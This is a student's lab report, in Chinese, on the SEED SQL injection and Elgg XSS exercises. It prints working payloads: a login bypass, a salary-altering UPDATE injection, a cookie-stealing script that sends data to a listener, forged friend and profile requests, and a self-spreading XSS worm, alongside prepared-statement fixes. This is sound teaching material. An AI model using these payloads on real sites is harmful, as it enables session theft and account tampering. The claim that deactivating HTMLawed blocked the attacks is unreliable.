20251906 2025-2026-2 《网络攻防实践》第十周作业
1.实践内容
(1)SEED SQL注入攻击与防御实验
熟悉SQL语句:登录数据库,查询credential数据表结构与表内数据;
SELECT注入攻击:利用闭合注释绕过登录校验,在无密码前提下以Admin管理员账号登录系统;
UPDATE注入攻击:在个人资料编辑页面构造注入载荷, Salary=50000,非法篡改自身薪资数据;
SQL防御加固:使用预处理语句Prepared Statement重构登录源码,修补SQL注入漏洞。
(2)SEED XSS跨站脚本攻击实验(Elgg平台)
基础弹窗攻击:在个人资料栏植入JS代码,访问者打开页面自动弹出警告框;
Cookie回显攻击:编写脚本弹窗展示访客浏览器Cookie内容;
Cookie窃取攻击:构造恶意JS,将受害者Cookie自动发送至攻击者监听服务器;
自动加好友攻击:利用XSS让访问者在不知情下主动添加攻击者为平台好友;
篡改用户资料:恶意脚本自动修改访客个人简介为指定内容(Samy was here!);
XSS蠕虫制作:编写具备自我复制能力的恶意代码,存入用户资料实现蠕虫链式传播;
XSS防御加固:配置CSP策略限制脚本加载来源、开启Cookie的HttpOnly属性,从服务端防御XSS漏洞。
2.实践过程
2.1 SEED SQL注入攻击与防御实验
打开seedubuntu虚拟机,使用命令mysql -u root -p登录数据库(MySQL)并查看所有数据库,密码为seedubuntu

使用命令show databases;查看所有数据库

使用Users数据库use Users;
查看Users数据库的所有表show tables;

查询credential表的所有内容select * from credential;

查询Name为Boby的相关信息select * from credential where Name = 'Boby';

打开 www.SEEDLabSQLInjection.com 网页。

查看网页源码,选择view page source

登陆的表单中使用get方法访问unsafe_home.php

打开unsafe_home.php查看页面源代码,地址为/var/www/SQLInjection/unsafe_home.php,是直接将用户输入拼接到SQL语句中


当输入Admin'#作为用户名时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证获取管理员权限。


查看Edit_Profile页面的源代码。点击上方的Edit Profile进入更新页面,然后右键查看源代码。

可以看到,表单依旧是以get方式将数据发到unsafe_edit_backend.php页面。

打开unsafe_edit_backend.php查看页面源代码。

需要注入的sql语句为UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;。构造$input_nickname的值。
',Salary='20251906' where name='Admin'#

修改unsafe_home.php中的sql语句,在SELECT语句中,使用bind_param方法,将参数与执行动作或条件分开进行修改;
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?"); $sql->bind_param("ss", $input_uname, $hashed_pwd);

测试是否还存在SQL注入漏洞。输入Admin’#发现不能成功登录了,说明漏洞修复成功。

修改unsafe_edit_backend.php中的sql语句,在Update语句中,同样使用bind_param方法,将参数与执行动作或条件分开进行修改;
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;"); $sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
发现输入',Salary='20251906' where name='Admin'#无法修改

2.2 SEED XSS 跨站脚本攻击实验
访问 Elgg 平台地址http://www.xsslabelgg.com,使用账号Alice、密码seedalice登录个人主页

在个人简介输入框中嵌入基础 XSS 攻击脚本<script>alert("20251906");</script>

修改个人简介中的恶意脚本,使用document.cookie获取当前用户Cookie数据,构造脚本<script>alert(document.cookie);</script>

在虚拟机终端使用命令nc -l 5555 -v,开启5555端口监听

构造基于img标签的被动传输脚本,利用图片加载自动请求的特性,将用户Cookie数据通过URL参数发送至本地监听端口
<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>'); </script>

将脚本嵌入个人简介并保存

看到用于监听的终端接收到了对应的cookie
使用F12查看添加好友的表单,get请求包含friend,elgg_ts和elgg_token

使用以下js脚本嵌入到个人简介中
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=45" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

可以看到自动加上了boby的好友

向平台编辑接口发送POST请求,修改用户个人资料
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>ybh20251906</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

再看Boby的个人简介,发现已被修改

基于上述攻击原理编写具备自我传播能力的 XSS 蠕虫脚本
<script id="worm" type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>ybh20251906"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
})</script>

删除Boby的自我简介,访问以下alice的界面,发现又出现了

登录Samy的账号访问Boby的主页,发现samy的主页也被更改了

访问www.xsslabelgg.com/admin, 登录账号:Admin,密码:seedelgg
点击plugin,再点击HTMLawed,改为Deactivate

重新进行前面模拟XSS攻击后发现攻击失败

3.学习中遇到的问题及解决
- 问题1:刚开始实验二的时候攻击一直不成功,修改了语法也不行
- 问题1解决方案:重启了电脑就好了
4.实践总结
在课程指定的合法实训靶场环境中,我完成了SQL注入、XSS跨站脚本攻防专项实训。依托教学专用隔离靶机,我分步探究两类高危Web漏洞的形成诱因,从代码编写缺陷、用户输入过滤缺失等根源理解漏洞成因。
实训阶段,我先站在攻击者视角,模拟漏洞利用过程,了解输入过滤疏漏如何引发登录绕过、页面恶意脚本弹窗、数据库信息泄露等安全风险;随后切换防御方角色,针对性编写防御代码,通过参数预处理、输入白名单校验、特殊字符转义、CSP策略配置等手段,逐一修补代码漏洞,拦截注入与XSS攻击行为。
本次实训让我意识到,Web安全漏洞大多源于开发环节的细节疏忽,高强度加密只是安全防护的一环,严格的代码开发规范、全链路输入输出校验、分层安全架构缺一不可。安全防护不能只依靠事后应急修补,在需求设计、代码编写阶段嵌入安全思维,从开发源头规避漏洞。
浙公网安备 33010602011771号